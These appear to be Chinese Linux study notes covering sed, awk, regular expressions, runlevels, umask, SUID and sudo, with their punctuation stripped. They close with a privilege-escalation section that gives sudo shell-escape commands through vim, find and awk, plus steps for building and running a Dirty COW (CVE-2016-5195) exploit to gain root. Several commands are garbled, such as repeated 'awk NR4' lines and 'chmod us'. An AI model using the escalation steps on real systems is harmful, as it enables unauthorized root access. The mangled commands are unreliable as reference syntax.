#删除1到10行数据sed的删除不会修改源文件而是输出删除后的数据加上-i参数则会改变源文件。 sed -i /3a/d 1.txt #删除源文件中包含3a的行 sed s#3a#yang# 1.txt #每行的第一个3a替换成yang sed s#3a#yang#g 1.txt #所有的3a替换为yang sed s#3a#yang#I 1.txt #不论大小写的3a替换为yang3三剑客之awkawk取列以空格为依据划分列某一行在这一列中没有内容显示空格 awk {print $1,$NF} #取第一列和最后一列 awk {print $NF,$1} #取最后一列和第一列 awk {print $1} #取第一列awk计算awk {print $1,$2,$3}awk根据行号筛选内容#根据行号筛选内容 awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 || NR4 1.txt awk NR4 NR4 1.txt awk NR4 || NR4{print $1} 1.txt #取行的同时取列 #过滤指定的行 awk /3a/ 1.txt #指定列与列之间的分隔符还可添加拼接文本 awk -F : {print $1-$2} /etc/passwd #以分隔的列过滤出第一列和第二列并用-拼接 #过滤文本 awk -F : $1~/h/ /etc/passwd #过滤出第一列中有h的行 awk -F : $1~/h/{print $2} /etc/passwd #过滤出第一列中有h的行再取出第二列4正则表达式1) ^word 表示搜索以word开头的内容。 2) word$ 表示搜索以word结尾的内容。 3) ^$ 表示空行不是空格。 4) . 代表且只能代表任意一个字符。 5) \ 转义字符让有着特殊身份意义的字符脱掉马甲还原原型。 例如\.只表示小数点还原原始小数点的意义。 6) * 重复0个或多个前面的一个字符。不代表所有了。 7) .* 匹配所有的字符。^.* 任意多个字符开头。 8) [abc] 匹配字符集合内任意一个字符[a-z] 9) [^abc] ^再中括号里面表示非不包含a或b或c。 10) {n,m} 重复n到m次前一个字符。 11 重复1次到多次二十一Linux运行级别运行级别 0 关机运行级别 1 单用户运行级别 2 不带网络的多用户运行级别 3 完整的多用户模式运行级别 4 保留运行级别 5 桌面模式graphical.target运行级别 6 重启#切换运行级别 init #查看运行级别两种 runlevel systemctl get-default #设置运行级别 systemctl set-default graphical.target #设置默认运行级别为图形 systemctl set-default multi-user.target #设置默认运行级别为命令行1权限掩码创建文件文件夹系统会进行权限计算 文件权限计算0666-00220644 目录权限计算0777-00220755 root用户默认权限掩码022 普通用户默认权限掩码002 vim /etc/profile #修改权限掩码 umask #查看当前用户用户权限掩码2特殊权限suid标记是可授权普通用户可以临时使用管理员用户才可使用的一些命令标记。 suid标记指令 chmod us 文件目录 #将某个文件加上suid标记 su #切换用户 su - root #切换成root到root家目录 su - yang su yang #切换的yang用户的当前目录 sudo 指令 #普通用户临时借用root使用指令 在visudo中可以编辑权限范围范围不能太大例如vi的权限vimfind、3普通用户提权sudo提权 vim #命令模式执行 :!/bin/bash find # sudo find . -exec bash \; awk # sudo awk BEGIN {system(/bin/bash)}脏牛提权 仓库地址https://github.com/gbonacini/CVE-2016-5195 #上传文件 脏牛提权.zip unzip 脏牛提权.zip cd CVE-2016-5195-master/ make #编译 ./dcow -s #提权